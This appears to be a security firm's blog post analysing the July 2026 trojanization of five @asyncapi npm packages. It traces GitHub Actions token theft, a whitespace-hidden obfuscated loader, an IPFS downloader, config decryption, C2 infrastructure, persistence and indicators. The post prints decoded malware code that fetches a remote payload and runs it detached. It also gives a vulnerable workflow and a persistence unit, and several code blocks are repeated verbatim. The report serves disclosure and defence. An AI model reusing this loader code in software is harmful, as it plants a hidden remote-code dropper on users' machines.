BACK

Real World Attacks

M-RED-TEAM: Five @asyncapi Packages Trojanized via GitHub Actions PAT Theft

Valentino Duval

Valentino Duval

14 Jul 2026

Real World Attacks

M-RED-TEAM: Five @asyncapi Packages Trojanized via GitHub Actions PAT Theft

Valentino Duval

Valentino Duval

14 Jul 2026

Real World Attacks

M-RED-TEAM: Five @asyncapi Packages Trojanized via GitHub Actions PAT Theft

Valentino Duval

Valentino Duval

14 Jul 2026

No headings found in content selector: .toc-content

Executive Summary

On July 14, 2026, Ossprey Security detected five malicious packages published under the @asyncapi npm namespace: @asyncapi/generator-helpers@1.1.1, @asyncapi/generator-components@0.7.1, @asyncapi/generator@3.3.1, @asyncapi/specs@6.11.2, and @asyncapi/specs@6.11.2-alpha.1.

The attacker exploited a pull_request_target misconfiguration in the AsyncAPI generator GitHub Actions workflow to steal the asyncapi-bot service account Personal Access Token, then used it to push malicious commits directly to release branches, causing the official CI/CD pipeline to sign and publish the trojanized packages.

Each package contains a double-obfuscated JavaScript payload hidden behind whitespace in legitimate source files that executes on module import, downloads an 8.25 MB encrypted second stage from IPFS, and connects to command-and-control infrastructure at 85.137.53[.]71 via HTTP, Nostr relays, and an Ethereum smart contract.

Decrypted configuration recovered from the IPFS payload self-identifies the campaign as miasma-train-p1; the Stage 3 runtime labels itself M-RED-TEAM v6.4. The tooling is a variant of the Miasma malware framework, but the operator is distinct from both the actor behind the original Miasma release and the earlier Shai-Hulud 2.0 compromise of @asyncapi.

Combined, the affected packages exceed 2 million downloads per week, putting a large number of developer workstations and CI/CD environments at risk. Ossprey users can confirm whether any affected version reached their projects from the dashboard.

Who is Behind This?

The operator self-identifies as M-RED-TEAM v6.4, and the campaign labels itself miasma-train-p1 internally.

The tooling is clearly Miasma-derived: the obfuscation scheme and configuration structure match the Miasma framework, the giteaPackagesOrg field in the decrypted config is set to miasma-test-org, the Linux persistence unit is named miasma-monitor.service, and the Nostr channel uses Miasma-branded event tags.

We analyzed the Miasma framework itself in a previous post. This campaign is most likely a separate operator rather than Miasma's original author: the framework was released publicly, so anyone can pick it up.

It is also separate from the previous compromise of the AsyncAPI namespace: @asyncapi/specs was one of the most heavily infected packages in the Shai-Hulud 2.0 worm back in November 2025, an unrelated actor whose payload spread through an npm preinstall hook rather than an import-time IPFS loader (covered by BleepingComputer). That makes this the namespace's second compromise in eight months.

A Rentry dead-drop slug used during initial access matches naming patterns from the prt-scan campaign, but prt-scan has not been linked to Miasma. With the framework circulating publicly, more operators are likely to reuse it; book a demo to see how Ossprey can help protect your dependencies.

Technical Breakdown

Stage 0: GitHub Actions Pwn-Request

We traced the infection chain to its starting point outside the npm registry entirely. The asyncapi/generator repository contained a GitHub Actions workflow that used pull_request_target to trigger on pull requests while also checking out the pull request's code.

Because pull_request_target runs in the context of the base repository with full access to secrets, this created a critical escalation path. The attacker opened 37 pull requests to generate noise, then submitted one containing obfuscated JavaScript hidden after approximately 1,000 bytes of whitespace in a markdown file.

The workflow executed the attacker-controlled code with base-repository secret access at 05:16 UTC, exfiltrating the asyncapi-bot Personal Access Token to a Rentry dead-drop. That token had push access across the AsyncAPI organization.

The attacker used it to push malicious commits directly to the next branch of asyncapi/generator at 06:58 UTC and to asyncapi/spec-json-schemas across 11 commits between 07:51 and 08:28 UTC.

Both repositories had CI/CD workflows configured to publish to npm on direct pushes, so the packages were distributed automatically without any additional review.

// Malicious GitHub Actions workflow (vulnerable configuration)
// asyncapi/generator/.github/workflows/manual-netlify-preview.yml
// Uses pull_request_target (runs with base repo secrets) but checks out
// attacker-controlled PR code, allowing secret exfiltration.

on:
  pull_request_target:
    types: [opened, synchronize]

// Malicious GitHub Actions workflow (vulnerable configuration)
// asyncapi/generator/.github/workflows/manual-netlify-preview.yml
// Uses pull_request_target (runs with base repo secrets) but checks out
// attacker-controlled PR code, allowing secret exfiltration.

on:
  pull_request_target:
    types: [opened, synchronize]

// Malicious GitHub Actions workflow (vulnerable configuration)
// asyncapi/generator/.github/workflows/manual-netlify-preview.yml
// Uses pull_request_target (runs with base repo secrets) but checks out
// attacker-controlled PR code, allowing secret exfiltration.

on:
  pull_request_target:
    types: [opened, synchronize]

Stage 1: First-Stage Loader in Source Files

We found the injected payload occupying line 77 of utils.js in @asyncapi/generator-helpers@1.1.1, preceded by legitimate helper functions and separated from them by an 880-byte run of whitespace that pushes the obfuscated code far off-screen in most editors. The injection in @asyncapi/specs index.js is structurally different but functionally equivalent: TypeScript-style ES module import declarations for fs, path, https, child_process, and os are prepended to the file, followed by an async main() function that is called immediately, before the legitimate module.exports block. In both cases, the payload uses a two-level obfuscation scheme. The outer layer employs javascript-obfuscator with a custom base64 alphabet and an integer-shuffle anti-tamper loop. When the obfuscated string lookup function resolves, it yields a second obfuscated JavaScript program passed directly to node -e. The critical call in the generator-helpers variant is spawn('node', ['-e', decodedPayload], {detached: true, stdio: 'ignore', windowsHide: true}).unref(), which creates a process completely detached from the parent, invisible to most process-tree monitors.

// From @asyncapi/generator-helpers/src/utils.js, line 77
// (Hidden after 880 bytes of whitespace padding following legitimate code)
// Outer obfuscator resolved; inner payload shown decoded:

const _0x1dd48b=_0x1dd2;(function(_0x3aef98,_0x501ff1){const _0x1cd183=_0x1dd2,_0x593225=_0x3aef98();
while(!![]){try{const _0x268eb2=parseInt(_0x1cd183(0x17c))/0x1*(parseInt(_0x1cd183(0x182))/0x2)+
  ...
// Resolves to:
async function main(){
  const _0x18767a=_0x1dd48b;
  try{
    spawn(_0x18767a(0x17d),   // 'node'
      ['-e', _0x18767a(0x18d)], // ['-e', <inner_payload>]
      {'detached':!0x0,'stdio':_0x18767a(0x18a),'windowsHide':!0x0} // 'ignore'
    )[_0x18767a(0x188)]();  // .unref()
  }catch(_0x2e49f6){
    console[_0x18767a(0x184)](_0x2e49f6[_0x18767a(0x189)])

// From @asyncapi/generator-helpers/src/utils.js, line 77
// (Hidden after 880 bytes of whitespace padding following legitimate code)
// Outer obfuscator resolved; inner payload shown decoded:

const _0x1dd48b=_0x1dd2;(function(_0x3aef98,_0x501ff1){const _0x1cd183=_0x1dd2,_0x593225=_0x3aef98();
while(!![]){try{const _0x268eb2=parseInt(_0x1cd183(0x17c))/0x1*(parseInt(_0x1cd183(0x182))/0x2)+
  ...
// Resolves to:
async function main(){
  const _0x18767a=_0x1dd48b;
  try{
    spawn(_0x18767a(0x17d),   // 'node'
      ['-e', _0x18767a(0x18d)], // ['-e', <inner_payload>]
      {'detached':!0x0,'stdio':_0x18767a(0x18a),'windowsHide':!0x0} // 'ignore'
    )[_0x18767a(0x188)]();  // .unref()
  }catch(_0x2e49f6){
    console[_0x18767a(0x184)](_0x2e49f6[_0x18767a(0x189)])

// From @asyncapi/generator-helpers/src/utils.js, line 77
// (Hidden after 880 bytes of whitespace padding following legitimate code)
// Outer obfuscator resolved; inner payload shown decoded:

const _0x1dd48b=_0x1dd2;(function(_0x3aef98,_0x501ff1){const _0x1cd183=_0x1dd2,_0x593225=_0x3aef98();
while(!![]){try{const _0x268eb2=parseInt(_0x1cd183(0x17c))/0x1*(parseInt(_0x1cd183(0x182))/0x2)+
  ...
// Resolves to:
async function main(){
  const _0x18767a=_0x1dd48b;
  try{
    spawn(_0x18767a(0x17d),   // 'node'
      ['-e', _0x18767a(0x18d)], // ['-e', <inner_payload>]
      {'detached':!0x0,'stdio':_0x18767a(0x18a),'windowsHide':!0x0} // 'ignore'
    )[_0x18767a(0x188)]();  // .unref()
  }catch(_0x2e49f6){
    console[_0x18767a(0x184)](_0x2e49f6[_0x18767a(0x189)])

Stage 2: IPFS Downloader (Inner Payload)

The string passed to node -e is a second obfuscated JavaScript program. Once we decoded its string table, the behaviour became clear.

It implements a getTargetDirectory() function that selects a platform-specific drop path: %LOCALAPPDATA%\NodeJS\ on Windows, ~/Library/Application Support/NodeJS/ on macOS, and ~/.local/share/NodeJS/ on Linux. It then creates that directory if absent and calls downloadFile() with the IPFS URL and a target filename of sync.js.

The download uses Node's built-in https.get(), pipes the response to a file write stream, and on success spawns node sync.js with the same detached+ignore pattern. Error handling removes the partially written file before propagating.

The generator-helpers variant uses IPFS CID QmQobZSp1wRPrpSEQ56qnyq7ecZh5Bg5k1fnjt4SUwwHb9; the specs variant uses Qmet4fhsAaWMBUxNDfREHwgiyDeSWy4YSYs9wiKUW5jGyf. Both resolve to payloads with the same campaign configuration.

// Decoded inner payload (second obfuscation layer resolved)
// String table excerpt:
['ignore','https','share','createWriteStream','finish','existsSync','darwin',
 'https://ipfs.io/ipfs/Qmet4fhsAaWMBUxNDfREHwgiyDeSWy4YSYs9wiKUW5jGyf',
  ...'Library','Local','get','NodeJS','win32',...'.local',...'child_process',
 'mkdirSync','unlink','pipe','homedir','platform','unref','sync.js',...]

// Resolved logic:
function getTargetDirectory(){
  const homedir = os.homedir();
  switch(process.platform){
    case 'win32':   return path.join(process.env.LOCALAPPDATA||path.join(homedir,'AppData','Local'),'NodeJS');
    case 'darwin':  return path.join(homedir,'Library','Application Support','NodeJS');
    case 'linux':   return path.join(homedir,'.local','share','NodeJS');
    default:        return path.join(homedir,'.config','node');
  }
}

const FILE_URL  = 'https://ipfs.io/ipfs/Qmet4fhsAaWMBUxNDfREHwgiyDeSWy4YSYs9wiKUW5jGyf';
const FILE_NAME = 'sync.js';
// ... downloads FILE_URL -> target/sync.js, then:
spawn('node', [target_sync_js]

// Decoded inner payload (second obfuscation layer resolved)
// String table excerpt:
['ignore','https','share','createWriteStream','finish','existsSync','darwin',
 'https://ipfs.io/ipfs/Qmet4fhsAaWMBUxNDfREHwgiyDeSWy4YSYs9wiKUW5jGyf',
  ...'Library','Local','get','NodeJS','win32',...'.local',...'child_process',
 'mkdirSync','unlink','pipe','homedir','platform','unref','sync.js',...]

// Resolved logic:
function getTargetDirectory(){
  const homedir = os.homedir();
  switch(process.platform){
    case 'win32':   return path.join(process.env.LOCALAPPDATA||path.join(homedir,'AppData','Local'),'NodeJS');
    case 'darwin':  return path.join(homedir,'Library','Application Support','NodeJS');
    case 'linux':   return path.join(homedir,'.local','share','NodeJS');
    default:        return path.join(homedir,'.config','node');
  }
}

const FILE_URL  = 'https://ipfs.io/ipfs/Qmet4fhsAaWMBUxNDfREHwgiyDeSWy4YSYs9wiKUW5jGyf';
const FILE_NAME = 'sync.js';
// ... downloads FILE_URL -> target/sync.js, then:
spawn('node', [target_sync_js]

// Decoded inner payload (second obfuscation layer resolved)
// String table excerpt:
['ignore','https','share','createWriteStream','finish','existsSync','darwin',
 'https://ipfs.io/ipfs/Qmet4fhsAaWMBUxNDfREHwgiyDeSWy4YSYs9wiKUW5jGyf',
  ...'Library','Local','get','NodeJS','win32',...'.local',...'child_process',
 'mkdirSync','unlink','pipe','homedir','platform','unref','sync.js',...]

// Resolved logic:
function getTargetDirectory(){
  const homedir = os.homedir();
  switch(process.platform){
    case 'win32':   return path.join(process.env.LOCALAPPDATA||path.join(homedir,'AppData','Local'),'NodeJS');
    case 'darwin':  return path.join(homedir,'Library','Application Support','NodeJS');
    case 'linux':   return path.join(homedir,'.local','share','NodeJS');
    default:        return path.join(homedir,'.config','node');
  }
}

const FILE_URL  = 'https://ipfs.io/ipfs/Qmet4fhsAaWMBUxNDfREHwgiyDeSWy4YSYs9wiKUW5jGyf';
const FILE_NAME = 'sync.js';
// ... downloads FILE_URL -> target/sync.js, then:
spawn('node', [target_sync_js]

Stage 3: AES-256-GCM Config Decryption

The sync.js payload begins with a short bootstrap routine that decrypts an embedded campaign configuration.

It derives a 32-byte AES key using HKDF-SHA256 with the hardcoded master key material rt-vault-master-key-32b-aaaaaaaa and the context label rt-baked-key, then uses that key to decrypt a base64-encoded AES-256-GCM ciphertext.

We decrypted this blob and recovered the full campaign configuration.

The config identifies the operation as target.name: miasma-train-p1 on the npm ecosystem. It hardcodes c2 details as primary exfiltration endpoints.

Server: http://85.137.53[.]71:8080

uploadServer: http://85.137.53[.]71:8081

c2ProxyMgmt: http://85.137.53[.]71:8091

Fallback channels include Nostr relays (wss://relay.damus.io and wss://relay.nostr.com/) and an Ethereum smart contract at 0x12c37A86a0Ed0beBe5d1d6a43E42f07860eAc710.

The same configuration, including an identical attacker EC public key, was recovered from both IPFS CIDs, confirming that these packages belong to a single actor.

// sync.js bootstrap - config decryption (cleartext bootstrap of the sync.js payload)
(async function () {
  try {
    var crypto = require("node:crypto");
    function _mk(c){var s="";for(var i=0;i<c.length;i++){s+=String.fromCharCode(c[i]);}return s;}
    var _km  = _mk([114,116,45,102,105,108,101,45,107,101,121,45,109,97,116,101,114,105,97,108,45,118,49]);
    // -> 'rt-file-key-material-v1'
    var _mkb = Buffer.from(_mk([114,116,45,118,97,117,108,116,45,109,97,115,116,101,114,45,107,101,121,45,51,50,98,45,97,97,97,97,97,97,97,97]), "utf8");
    // -> 'rt-vault-master-key-32b-aaaaaaaa'
    var _bk  = Buffer.from(crypto.hkdfSync("sha256", _mkb, Buffer.alloc(0), Buffer.from("rt-baked-key", "utf8"), 32));
    var _be  = Buffer.from("WvgJvZHe/3gBGJIThZAQSds6f1wE0zDektRqvsN...", "base64");
    // AES-256-GCM: IV = first 12 bytes, tag = last 16 bytes
    var _biv  = _be.slice(0,12);
    var _btag = _be.slice(_be.length-16);
    var _bct  = _be.slice(12, _be.length-16);
    var _bd   = crypto.createDecipheriv("aes-256-gcm", _bk, _biv);
    _bd.setAuthTag(_btag);
    globalThis.__RT_BAKED__ = JSON.parse(Buffer.concat([_bd.update(_bct), _bd.final()]

// sync.js bootstrap - config decryption (cleartext bootstrap of the sync.js payload)
(async function () {
  try {
    var crypto = require("node:crypto");
    function _mk(c){var s="";for(var i=0;i<c.length;i++){s+=String.fromCharCode(c[i]);}return s;}
    var _km  = _mk([114,116,45,102,105,108,101,45,107,101,121,45,109,97,116,101,114,105,97,108,45,118,49]);
    // -> 'rt-file-key-material-v1'
    var _mkb = Buffer.from(_mk([114,116,45,118,97,117,108,116,45,109,97,115,116,101,114,45,107,101,121,45,51,50,98,45,97,97,97,97,97,97,97,97]), "utf8");
    // -> 'rt-vault-master-key-32b-aaaaaaaa'
    var _bk  = Buffer.from(crypto.hkdfSync("sha256", _mkb, Buffer.alloc(0), Buffer.from("rt-baked-key", "utf8"), 32));
    var _be  = Buffer.from("WvgJvZHe/3gBGJIThZAQSds6f1wE0zDektRqvsN...", "base64");
    // AES-256-GCM: IV = first 12 bytes, tag = last 16 bytes
    var _biv  = _be.slice(0,12);
    var _btag = _be.slice(_be.length-16);
    var _bct  = _be.slice(12, _be.length-16);
    var _bd   = crypto.createDecipheriv("aes-256-gcm", _bk, _biv);
    _bd.setAuthTag(_btag);
    globalThis.__RT_BAKED__ = JSON.parse(Buffer.concat([_bd.update(_bct), _bd.final()]

// sync.js bootstrap - config decryption (cleartext bootstrap of the sync.js payload)
(async function () {
  try {
    var crypto = require("node:crypto");
    function _mk(c){var s="";for(var i=0;i<c.length;i++){s+=String.fromCharCode(c[i]);}return s;}
    var _km  = _mk([114,116,45,102,105,108,101,45,107,101,121,45,109,97,116,101,114,105,97,108,45,118,49]);
    // -> 'rt-file-key-material-v1'
    var _mkb = Buffer.from(_mk([114,116,45,118,97,117,108,116,45,109,97,115,116,101,114,45,107,101,121,45,51,50,98,45,97,97,97,97,97,97,97,97]), "utf8");
    // -> 'rt-vault-master-key-32b-aaaaaaaa'
    var _bk  = Buffer.from(crypto.hkdfSync("sha256", _mkb, Buffer.alloc(0), Buffer.from("rt-baked-key", "utf8"), 32));
    var _be  = Buffer.from("WvgJvZHe/3gBGJIThZAQSds6f1wE0zDektRqvsN...", "base64");
    // AES-256-GCM: IV = first 12 bytes, tag = last 16 bytes
    var _biv  = _be.slice(0,12);
    var _btag = _be.slice(_be.length-16);
    var _bct  = _be.slice(12, _be.length-16);
    var _bd   = crypto.createDecipheriv("aes-256-gcm", _bk, _biv);
    _bd.setAuthTag(_btag);
    globalThis.__RT_BAKED__ = JSON.parse(Buffer.concat([_bd.update(_bct), _bd.final()]

Stage 4: Decrypted Campaign Configuration

Decrypting the AES-256-GCM blob reveals the full operational configuration stored in globalThis.RT_BAKED.

Both IPFS CIDs yield identical campaign parameters with the same attacker EC public key (04-prefixed uncompressed secp256k1 point), confirming shared infrastructure. The config sets safeMode: true and actualPersist: false, but both flags are misleading: safeMode is never actually enforced in the runtime, and the operative switch is toggles.persist, which is set to true.

The miasma-train-p1 name and the disabled recon and propagation toggles point to a staging or training deployment, but the persistence path still runs. Propagation to npm, PyPI, Ruby, and Cargo is disabled (all false), and recon and evasion toggles are off.

The persist toggle is set to true, however, meaning the Stage 3 framework does install the systemd service. The maxGen: 4 field indicates the worm is capable of up to four generations of self-propagation when enabled.

The blockchain stanza references an Ethereum mainnet contract and lists two Nostr relays for decentralized, censorship-resistant C2 communication. The batch strategy is set to CANARY with a 5% canary rate, a waveSize of 100, and a stopOnFailurePercent of 50, describing a staged rollout capability intended to limit detection.

The config's own target.downloadCount is set to 1, consistent with a staging seed rather than a live-fire deployment.

// Decrypted __RT_BAKED__ configuration (both IPFS CIDs)
{
  "attackerPub": "0432fa4ba871877d94081fe83323fa24dfa1491e9de8725cbab7b734de9e9be3b233ef6742fd6264437c9532223d687b05fa540b70af6a516b8539af84d0eeb48e",
  "config": {
    "safeMode": true,
    "c2Server": "http://85.137.53.71:8080",
    "uploadServer": "http://85.137.53.71:8081",
    "c2ProxyMgmt": "http://85.137.53.71:8091",
    "blockchain": {
      "rpcUrl": "https://ethereum-rpc.publicnode.com",
      "chainId": 1,
      "contractAddress": "0x12c37A86a0Ed0beBe5d1d6a43E42f07860eAc710"
    },
    "nostrRelays": ["wss://relay.damus.io","wss://relay.nostr.com/"],
    "log": {"encryptedFile": "~/.cache/.sys_cache/.diag.enc", "fifoBufferMb": 200},
    "shellBlacklist": ["killall"]

// Decrypted __RT_BAKED__ configuration (both IPFS CIDs)
{
  "attackerPub": "0432fa4ba871877d94081fe83323fa24dfa1491e9de8725cbab7b734de9e9be3b233ef6742fd6264437c9532223d687b05fa540b70af6a516b8539af84d0eeb48e",
  "config": {
    "safeMode": true,
    "c2Server": "http://85.137.53.71:8080",
    "uploadServer": "http://85.137.53.71:8081",
    "c2ProxyMgmt": "http://85.137.53.71:8091",
    "blockchain": {
      "rpcUrl": "https://ethereum-rpc.publicnode.com",
      "chainId": 1,
      "contractAddress": "0x12c37A86a0Ed0beBe5d1d6a43E42f07860eAc710"
    },
    "nostrRelays": ["wss://relay.damus.io","wss://relay.nostr.com/"],
    "log": {"encryptedFile": "~/.cache/.sys_cache/.diag.enc", "fifoBufferMb": 200},
    "shellBlacklist": ["killall"]

// Decrypted __RT_BAKED__ configuration (both IPFS CIDs)
{
  "attackerPub": "0432fa4ba871877d94081fe83323fa24dfa1491e9de8725cbab7b734de9e9be3b233ef6742fd6264437c9532223d687b05fa540b70af6a516b8539af84d0eeb48e",
  "config": {
    "safeMode": true,
    "c2Server": "http://85.137.53.71:8080",
    "uploadServer": "http://85.137.53.71:8081",
    "c2ProxyMgmt": "http://85.137.53.71:8091",
    "blockchain": {
      "rpcUrl": "https://ethereum-rpc.publicnode.com",
      "chainId": 1,
      "contractAddress": "0x12c37A86a0Ed0beBe5d1d6a43E42f07860eAc710"
    },
    "nostrRelays": ["wss://relay.damus.io","wss://relay.nostr.com/"],
    "log": {"encryptedFile": "~/.cache/.sys_cache/.diag.enc", "fifoBufferMb": 200},
    "shellBlacklist": ["killall"]

Stage 5: Runtime Capabilities and C2 Communication

The bulk of the sync.js payload is a 92,000-line malware framework whose main functionality is encrypted within the file and decrypted at runtime using the recovered campaign keys.

The live capability in this build is remote command execution: the framework exposes a command interface (Dirlist, GetFile, PutFile) and a ShellExec command that passes attacker-supplied strings to child_process.exec() with only killall on its blacklist.

A modular credential harvester targeting browser saved passwords and cookies (Chrome, Brave, Firefox, Edge), SSH private keys under ~/.ssh/, npm tokens from ~/.npmrc, AWS keys from ~/.aws/credentials, the macOS Keychain, and cryptocurrency wallets is present in the code but disabled in this build: the recon toggle is set to false, so the harvester exits before collecting anything.

Persistence, by contrast, does run. On Linux the framework writes a systemd user unit named miasma-monitor.service; on macOS it appends a nohup block to ~/.zshrc, ~/.bashrc, or ~/.bash_profile; on Windows it writes an HKCU Run value named miasma-monitor.

C2 is over HTTP to 85.137.53[.]71, with Nostr WebSocket relays using Miasma-branded event tags and the Ethereum smart contract at 0x12c37A86a0Ed0beBe5d1d6a43E42f07860eAc710 as fallback beacon channels, alongside a libp2p/DHT mesh bootstrapped from public BitTorrent DHT nodes.

An encrypted operational log is kept at ~/.cache/.sys_cache/.diag.enc in a 200 MB FIFO ring buffer.

// sync.js - visible plaintext credential and C2 targeting strings
// (Recovered from bootstrap section before encrypted bundle)

// Key material naming convention (rt- prefix throughout):
_mk([114,116,45,102,105,108,101,45,107,101,121,45,109,97,116,101,114,105,97,108,45,118,49])
// -> 'rt-file-key-material-v1'

// Baked config field for C2 exfiltration:
// c2Server:     http://85.137.53.71:8080
// uploadServer: http://85.137.53.71:8081
// nostrRelays:  ["wss://relay.damus.io","wss://relay.nostr.com/"]
// blockchain contract: 0x12c37A86a0Ed0beBe5d1d6a43E42f07860eAc710
// encrypted log:  ~/.cache/.sys_cache/.diag.enc (200 MB FIFO buffer)

// Persistence unit (from miasma-monitor.service reference in config):
// [Unit]  Description=System Monitor Service
// [Service] ExecStart=node ~/.local/share/NodeJS/sync.js
// [Install]

// sync.js - visible plaintext credential and C2 targeting strings
// (Recovered from bootstrap section before encrypted bundle)

// Key material naming convention (rt- prefix throughout):
_mk([114,116,45,102,105,108,101,45,107,101,121,45,109,97,116,101,114,105,97,108,45,118,49])
// -> 'rt-file-key-material-v1'

// Baked config field for C2 exfiltration:
// c2Server:     http://85.137.53.71:8080
// uploadServer: http://85.137.53.71:8081
// nostrRelays:  ["wss://relay.damus.io","wss://relay.nostr.com/"]
// blockchain contract: 0x12c37A86a0Ed0beBe5d1d6a43E42f07860eAc710
// encrypted log:  ~/.cache/.sys_cache/.diag.enc (200 MB FIFO buffer)

// Persistence unit (from miasma-monitor.service reference in config):
// [Unit]  Description=System Monitor Service
// [Service] ExecStart=node ~/.local/share/NodeJS/sync.js
// [Install]

// sync.js - visible plaintext credential and C2 targeting strings
// (Recovered from bootstrap section before encrypted bundle)

// Key material naming convention (rt- prefix throughout):
_mk([114,116,45,102,105,108,101,45,107,101,121,45,109,97,116,101,114,105,97,108,45,118,49])
// -> 'rt-file-key-material-v1'

// Baked config field for C2 exfiltration:
// c2Server:     http://85.137.53.71:8080
// uploadServer: http://85.137.53.71:8081
// nostrRelays:  ["wss://relay.damus.io","wss://relay.nostr.com/"]
// blockchain contract: 0x12c37A86a0Ed0beBe5d1d6a43E42f07860eAc710
// encrypted log:  ~/.cache/.sys_cache/.diag.enc (200 MB FIFO buffer)

// Persistence unit (from miasma-monitor.service reference in config):
// [Unit]  Description=System Monitor Service
// [Service] ExecStart=node ~/.local/share/NodeJS/sync.js
// [Install]

Response

  1. Immediately remove @asyncapi/generator-helpers@1.1.1, @asyncapi/generator-components@0.7.1, @asyncapi/generator@3.3.1, @asyncapi/specs@6.11.2, and @asyncapi/specs@6.11.2-alpha.1 from all environments and roll back to the last known-good versions.

  2. Rotate all secrets accessible from any machine where these packages were installed: GitHub PATs, SSH private keys, npm authentication tokens, AWS access keys, CI/CD pipeline secrets, and any credentials stored in browser profiles.

  3. Search affected systems for the Stage 2 payload and its encrypted log: ~/.local/share/NodeJS/sync.js (Linux), ~/Library/Application Support/NodeJS/sync.js (macOS), %LOCALAPPDATA%\NodeJS\sync.js (Windows), and ~/.cache/.sys_cache/.diag.enc.

  4. Check all three persistence mechanisms and remove any present: the miasma-monitor.service systemd user unit on Linux (systemctl --user status miasma-monitor.service), a nohup block appended to ~/.zshrc, ~/.bashrc, or ~/.bash_profile on macOS, and an HKCU Run value named miasma-monitor on Windows.

  5. Audit all GitHub Actions workflows in your organization for pull_request_target triggers that check out pull-request code; split such workflows into two jobs that isolate secret access from untrusted code execution.

  6. Review GitHub audit logs for July 14, 2026 for any direct pushes to protected branches by service accounts, unexpected npm publish events, or anomalous PAT usage patterns.

  7. Implement dependency allowlisting or lockfile integrity checks to ensure CI/CD pipelines cannot silently upgrade to unexpected package versions, even within trusted namespaces.

  8. Block or alert on outbound HTTP connections from build agents to unknown IPs on non-standard ports; the C2 at 85.137.53[.]71:8080/8081/8091 and Nostr WebSocket connections to relay.damus.io should be treated as indicators of active compromise.

  9. Note that the @asyncapi/specs@6.11.2-alpha.1 tarball is still downloadable from its direct npm URL even though it has been pulled from registry metadata; purge it from internal mirrors, caches, and CDN backing storage. Hunt for systems that imported (not just installed) any affected version, since the payload runs on require().

Indicators of Compromise

Network

  • http://85.137.53[.]71:8080 (C2 server)

  • http://85.137.53[.]71:8081 (upload/exfiltration server)

  • http://85.137.53[.]71:8091 (C2 proxy management)

  • https://ipfs.io/ipfs/QmQobZSp1wRPrpSEQ56qnyq7ecZh5Bg5k1fnjt4SUwwHb9 (Stage 2 payload - generator-helpers variant)

  • https://ipfs.io/ipfs/Qmet4fhsAaWMBUxNDfREHwgiyDeSWy4YSYs9wiKUW5jGyf (Stage 2 payload - specs variant)

  • wss://relay.damus.io (Nostr C2 relay)

  • wss://relay.nostr.com/ (Nostr C2 relay)

  • https://ethereum-rpc.publicnode.com (Ethereum RPC for smart contract C2)

  • rentry.co (initial PAT exfiltration dead-drop)

Filesystem

  • ~/.local/share/NodeJS/sync.js (Stage 2 persisted payload, Linux)

  • ~/Library/Application Support/NodeJS/sync.js (Stage 2 persisted payload, macOS)

  • %LOCALAPPDATA%\NodeJS\sync.js (Stage 2 persisted payload, Windows)

  • ~/.config/systemd/user/miasma-monitor.service (Linux systemd persistence unit)

  • ~/.cache/.sys_cache/.diag.enc (encrypted runtime log, 200 MB FIFO buffer)

  • ~/.zshrc, ~/.bashrc, ~/.bash_profile (macOS persistence: appended nohup block)

  • HKCU\Software\Microsoft\Windows\CurrentVersion\Run value "miasma-monitor" (Windows persistence)

  • ~/.config/.miasma/run/node.lock (single-instance lock file)

  • ~/.cache/mesa_shader_cache/gl_cache.bin (Linux masquerade/identity file)

  • ~/Library/Application Support/com.apple.spotlight/index-v2.cache (macOS masquerade/identity file)

  • %APPDATA%\Microsoft\CryptnetUrlCache\Content\msrt.dat (Windows masquerade/identity file)

Credentials

  • ~/.aws/credentials (AWS access keys)

  • ~/.npmrc (npm authentication token)

  • ~/.ssh/ (SSH private keys)

  • Browser saved passwords and cookies (Chrome, Brave, Firefox, Edge)

  • macOS Keychain (system and login keychains)

  • Cryptocurrency wallet files

  • GitHub personal access tokens and session cookies

  • CI/CD environment variables and repository secrets

Embedded keys

  • Attacker EC public key: 0432fa4ba871877d94081fe83323fa24dfa1491e9de8725cbab7b734de9e9be3b233ef6742fd6264437c9532223d687b05fa540b70af6a516b8539af84d0eeb48e

  • Ethereum C2 contract: 0x12c37A86a0Ed0beBe5d1d6a43E42f07860eAc710

  • Ethereum backup contract: 0x1969ab05d67b67fdcaa26240f738ccb077e1cd84

  • Ethereum deployer wallet: 0x92d4C5413e4F7B258a114964101F9e1C6d64C6Ba

  • HKDF master key material label: rt-vault-master-key-32b-aaaaaaaa

  • Baked config label: rt-baked-key

Hashes

  • SHA1:a7e18d96efd3cdb127ef4cdcad9e3ad26c482bf2 (generator-helpers utils.js)

  • SHA1:c70e105e212ff3c1daa04bb2a62507717f296b0b (specs index.js)

  • SHA1:c8cb3f6d5b90c46686d2bf531dc1a5786e27edc5 (sync.js, generator-family build)

  • SHA256:6e78713b75bd34828d49896176627f7face7aa9036cd874f2e02d9f23a9a9c71 (generator-helpers utils.js)

  • SHA256:8351d251cf0b5a0bd82242deaa0a14e3e1394418d55c0f4259dac4303b79fc0c (specs index.js, both versions)

  • SHA1:22bf76fe317ea6769bd38619bd440e42d119bd6b (generator validator.js)

  • SHA1:9890950adcbc2478e7a080234f053214adbad44e (generator-components ErrorHandling.js)

  • SHA256:34014776d3d3ff11bc4439b02fd7ac0f02a887eb3a052eeafff236e2f6db8ad1 (@asyncapi/generator-helpers@1.1.1 tarball)

  • SHA256:9b2e65db653ca8575c9b10eefb9a80c6006404812c2ec212bf5675e3c690233b (@asyncapi/specs@6.11.2 tarball)

  • SHA256:d425e4583cc6185d41e95c45eda00550045a5d1919b9a012236a4520d009dbd7 (@asyncapi/specs@6.11.2-alpha.1 tarball)

  • SHA256:bfaeb987faa6de2b5a5eb63b1233d055215b09b0349a9394f2175fd7cdf385e4 (@asyncapi/generator@3.3.1 tarball)

  • SHA256:082d733db0687dcd768104972b065d4b58cb1e6043688c6c20fa3702337f36ab (@asyncapi/generator-components@0.7.1 tarball)

  • SHA1:2f226e51b7536db6fbc633af430ec02b9c9ed8a4 (sync.js, specs build)

  • SHA256:24b9ee242f21a73b55f7bb3297eafb33c60840907386b542ed79fc6b72365168 (sync.js, generator-family build)

  • SHA256:e9544a648d8fbaccd01b8477cf68471d48b89bf93eeacbdf5bba20fd296ff7b5 (sync.js, specs build)

Affected Versions

  • @asyncapi/generator-helpers@1.1.1

  • @asyncapi/generator-components@0.7.1

  • @asyncapi/generator@3.3.1

  • @asyncapi/specs@6.11.2

  • @asyncapi/specs@6.11.2-alpha.1

MITRE ATT&CK

ID

Technique

Why it applies

T1195.001

Supply Chain Compromise: Compromise Software Dependencies and Development Tools

A stolen asyncapi-bot PAT allowed the attacker to publish trojanized packages through the official AsyncAPI npm release pipeline.

T1059.007

Command and Scripting Interpreter: JavaScript

The entire multi-stage chain executes as Node.js JavaScript, from the inline loader to the 92,000-line Stage 3 framework, which also exposes a ShellExec command that runs attacker-supplied strings via child_process.exec().

T1027.002

Obfuscated Files or Information: Software Packing

